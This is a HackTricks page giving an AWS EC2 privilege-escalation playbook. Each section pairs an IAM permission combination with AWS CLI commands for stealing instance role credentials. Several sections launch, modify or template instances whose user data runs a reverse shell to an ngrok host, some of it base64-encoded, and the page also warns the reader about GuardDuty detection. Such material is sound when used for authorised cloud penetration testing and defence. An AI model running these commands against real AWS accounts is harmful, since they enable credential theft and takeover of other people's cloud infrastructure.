AWS - EC2 Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

EC2

For more info about EC2 check:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

An attacker could create and instance attaching an IAM role and then access the instance to steal the IAM role credentials from the metadata endpoint.

  • Access via SSH

Run a new instance using a created ssh key (--key-name) and then ssh into it (if you want to create a new one you might need to have the permission ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
    --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
    --security-group-ids <sg-id>
  • Access via rev shell in user data

You can run a new instance using a user data (--user-data) that will send you a rev shell. You don't need to specify security group this way.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
   --iam-instance-profile Name=E<instance-profile-name> \
   --count 1 \
   --user-data "file:///tmp/rev.sh"

Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:

pageAWS - GuardDuty Enum

Potential Impact: Direct privesc to a any EC2 role attached to existing instance profiles.

Privesc to ECS

With this set of permissions you could also create an EC2 instance and register it inside an ECS cluster. This way, ECS services will be run in inside the EC2 instance where you have access and then you can penetrate those services (docker containers) and steal their ECS roles attached.

aws ec2 run-instances \
    --image-id ami-07fde2ae86109a2af \
    --instance-type t2.micro \
    --iam-instance-profile <ECS_role> \
    --count 1 --key-name pwned \
    --user-data "file:///tmp/asd.sh" 

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

To learn how to force ECS services to be run in this new EC2 instance check:

pageAWS - ECS Privesc

If you cannot create a new instance but has the permission ecs:RegisterContainerInstance you might be able to register the instance inside the cluster and perform the commented attack.

Potential Impact: Direct privesc to ECS roles attached to tasks.

iam:PassRole, iam:AddRoleToInstanceProfile

Similar to the previous scenario, an attacker with these permissions could change the IAM role of a compromised instance so he could steal new credentials. As an instance profile can only have 1 role, if the instance profile already has a role (common case), you will also need iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

If the instance profile has a role and the attacker cannot remove it, there is another workaround. He could find an instance profile without a role or create a new one (iam:CreateInstanceProfile), add the role to that instance profile (as previously discussed), and associate the instance profile compromised to a compromised instance:

  • If the instance doesn't have any instance profile (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potential Impact: Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.

  • If it has an instance profile, you can remove the instance profile (ec2:DisassociateIamInstanceProfile) and associate it *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • or replace the instance profile of the compromised instance (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

Potential Impact: Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).

ec2:RequestSpotInstances,iam:PassRole

An attacker with the permissions ec2:RequestSpotInstancesandiam:PassRole can request a Spot Instance with an EC2 Role attached and a rev shell in the user data. Once the instance is run, he can steal the IAM role.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
   --instance-count 1 \
   --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

An attacker with the ec2:ModifyInstanceAttribute can modify the instances attributes. Among them, he can change the user data, which implies that he can make the instance run arbitrary data. Which can be used to get a rev shell to the EC2 instance.

Note that the attributes can only be modified while the instance is stopped, so the permissions ec2:StopInstances and ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
    --instance-id="$INSTANCE_ID" \
    --attribute userData \
    --value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potential Impact: Direct privesc to any EC2 IAM Role attached to a created instance.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

An attacker with the permissions ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate can create a new Launch Template version with a rev shell in the user data and any EC2 IAM Role on it, change the default version, and any Autoscaler group using that Launch Template that is configured to use the latest or the default version will re-run the instances using that template and will execute the rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
   --launch-template-name bad_template \
   --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
   --launch-template-name bad_template \
   --default-version 2

Potential Impact: Direct privesc to a different EC2 role.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

An attacker with the permissions autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole can create a Launch Configuration with an IAM Role and a rev shell inside the user data, then create an autoscaling group from that config and wait for the rev shell to steal the IAM Role.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
   --launch-configuration-name bad_config \
   --image-id ami-0c1bc246476a5572b \
   --instance-type t3.micro \
   --iam-instance-profile EC2-CloudWatch-Agent-Role \
   --user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
   --auto-scaling-group-name bad_auto \
   --min-size 1 --max-size 1 \
   --launch-configuration-name bad_config \
   --desired-capacity 1 \
   --vpc-zone-identifier "subnet-e282f9b8"

Potential Impact: Direct privesc to a different EC2 role.

!autoscaling

The set of permissions ec2:CreateLaunchTemplate and autoscaling:CreateAutoScalingGroup aren't enough to escalate privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template you need to permissions iam:PassRoleand ec2:RunInstances (which is a known privesc).

ec2-instance-connect:SendSSHPublicKey

An attacker with the permission ec2-instance-connect:SendSSHPublicKey can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.

aws ec2-instance-connect send-ssh-public-key \
   --instance-id "$INSTANCE_ID" \
   --instance-os-user "ec2-user" \
   --ssh-public-key "file://$PUBK_PATH"

Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

An attacker with the permission ec2-instance-connect:SendSerialConsoleSSHPublicKey can add an ssh key to a serial connection. If the serial is not enable, the attacker needs the permission ec2:EnableSerialConsoleAccess to enable it.

In order to connect to the serial port you also need to know the username and password of a user inside the machine.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
   --instance-id "$INSTANCE_ID" \
   --serial-port 0 \
   --region "eu-west-1" \
   --ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

This way isn't that useful to privesc as you need to know a username and password to exploit it.

Potential Impact: (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated